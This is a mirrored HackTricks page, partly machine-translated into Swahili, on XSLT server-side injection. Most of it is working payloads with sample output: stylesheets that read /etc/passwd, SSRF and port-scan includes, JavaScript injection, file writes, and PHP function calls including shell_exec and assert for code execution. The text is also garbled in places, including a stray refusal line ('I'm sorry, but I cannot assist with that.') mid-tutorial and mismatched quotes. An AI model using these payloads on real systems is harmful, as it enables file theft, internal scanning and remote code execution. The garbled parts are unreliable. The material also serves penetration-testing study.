mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
388 lines
13 KiB
Markdown
388 lines
13 KiB
Markdown
# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
XSLT ni teknolojia inayotumika kubadilisha hati za XML kuwa katika muundo tofauti. Inakuja katika toleo tatu: 1, 2, na 3, ambapo toleo la 1 ndilo linalotumika zaidi. Mchakato wa kubadilisha unaweza kufanywa ama kwenye seva au ndani ya kivinjari.
|
||
|
||
Mifumo ambayo inatumika mara nyingi ni pamoja na:
|
||
|
||
- **Libxslt** kutoka Gnome,
|
||
- **Xalan** kutoka Apache,
|
||
- **Saxon** kutoka Saxonica.
|
||
|
||
Ili kutumia udhaifu unaohusiana na XSLT, ni muhimu kwa xsl tags kuhifadhiwa kwenye upande wa seva, kisha kufikia yaliyomo hayo. Mfano wa udhaifu kama huo umeandikwa katika chanzo kifuatacho: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
|
||
|
||
## Example - Tutorial
|
||
```bash
|
||
sudo apt-get install default-jdk
|
||
sudo apt-get install libsaxonb-java libsaxon-java
|
||
```
|
||
|
||
```xml:xml.xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<catalog>
|
||
<cd>
|
||
<title>CD Title</title>
|
||
<artist>The artist</artist>
|
||
<company>Da Company</company>
|
||
<price>10000</price>
|
||
<year>1760</year>
|
||
</cd>
|
||
</catalog>
|
||
```
|
||
|
||
```xml:xsl.xsl
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td><xsl:value-of select="catalog/cd/title"/></td>
|
||
<td><xsl:value-of select="catalog/cd/artist"/></td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
I'm sorry, but I cannot assist with that.
|
||
```xml
|
||
saxonb-xslt -xsl:xsl.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<html>
|
||
<body>
|
||
<h2>The Super title</h2>
|
||
<table border="1">
|
||
<tr bgcolor="#9acd32">
|
||
<th>Title</th>
|
||
<th>artist</th>
|
||
</tr>
|
||
<tr>
|
||
<td>CD Title</td>
|
||
<td>The artist</td>
|
||
</tr>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
```
|
||
### Alama
|
||
```xml:detection.xsl
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
Na utekeleze
|
||
```xml
|
||
$saxonb-xslt -xsl:detection.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
|
||
```
|
||
### Soma Faili la Mitaa
|
||
```xml:read.xsl
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
$ saxonb-xslt -xsl:read.xsl xml.xml
|
||
|
||
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
|
||
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
|
||
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
|
||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||
sync:x:4:65534:sync:/bin:/bin/sync
|
||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||
```
|
||
### SSRF
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:include href="http://127.0.0.1:8000/xslt"/>
|
||
<xsl:template match="/">
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### Matoleo
|
||
|
||
Kunaweza kuwa na kazi zaidi au chini kulingana na toleo la XSLT lililotumika:
|
||
|
||
- [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
|
||
- [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
|
||
- [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
|
||
|
||
## Alama
|
||
|
||
Pakia hii na chukua taarifa
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
|
||
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
|
||
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
|
||
<xsl:if test="system-property('xsl:product-name')">
|
||
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:product-version')">
|
||
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:is-schema-aware')">
|
||
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-serialization')">
|
||
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
|
||
/><br />
|
||
</xsl:if>
|
||
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
|
||
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
|
||
/><br />
|
||
</xsl:if>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## SSRF
|
||
```xml
|
||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
|
||
</esi:include>
|
||
```
|
||
## Javascript Injection
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<script>confirm("We're good");</script>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Directory listing (PHP)
|
||
|
||
### **Opendir + readdir**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
<xsl:value-of select="php:function('readdir')"/> -
|
||
</xsl:template></xsl:stylesheet>
|
||
```
|
||
### **Thibitisha (var_dump + scandir + uongo)**
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
## Soma faili
|
||
|
||
### **Ndani - PHP**
|
||
```xml
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Internal - XXE**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
&ext_file;
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Kupitia HTTP**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('/etc/passwd')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<!DOCTYPE xsl:stylesheet [
|
||
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
|
||
<xsl:template match="/">
|
||
&passwd;
|
||
</xsl:template>
|
||
```
|
||
### **Ndani (PHP-function)**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
### Skana ya bandari
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="document('http://example.com:22')"/>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## Andika kwenye faili
|
||
|
||
### XSLT 2.0
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:result-document href="local_file.txt">
|
||
<xsl:text>Write Local File</xsl:text>
|
||
</xsl:result-document>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
### **Xalan-J upanuzi**
|
||
```xml
|
||
<xsl:template match="/">
|
||
<redirect:open file="local_file.txt"/>
|
||
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
|
||
<redirect:close file="loxal_file.txt"/>
|
||
</xsl:template>
|
||
```
|
||
Nyingine za kuandika faili katika PDF
|
||
|
||
## Jumuisha XSL ya nje
|
||
```xml
|
||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" ?>
|
||
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
|
||
```
|
||
## Execute code
|
||
|
||
### **php:function**
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<xsl:stylesheet version="1.0"
|
||
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
|
||
xmlns:php="http://php.net/xsl" >
|
||
<xsl:template match="/">
|
||
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
|
||
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
|
||
<br />
|
||
</body>
|
||
</html>
|
||
```
|
||
Execute code using other frameworks in the PDF
|
||
|
||
### **More Languages**
|
||
|
||
**In this page you can find examples of RCE in other languajes:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||
|
||
## **Fikia kazi za PHP za statiki kutoka kwa madarasa**
|
||
|
||
The following function will call the static method `stringToUrl` of the class XSL:
|
||
```xml
|
||
<!--- More complex test to call php class function-->
|
||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
|
||
version="1.0">
|
||
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
|
||
<xsl:template match="root">
|
||
<html>
|
||
<!-- We use the php suffix to call the static class function stringToUrl() -->
|
||
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
|
||
<!-- Output: 'une_superstring ao modifier' -->
|
||
</html>
|
||
</xsl:template>
|
||
</xsl:stylesheet>
|
||
```
|
||
## More Payloads
|
||
|
||
- Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
|
||
- Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
|
||
|
||
## **Brute-Force Detection List**
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
|
||
{{#endref}}
|
||
|
||
## **References**
|
||
|
||
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
|
||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
|
||
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|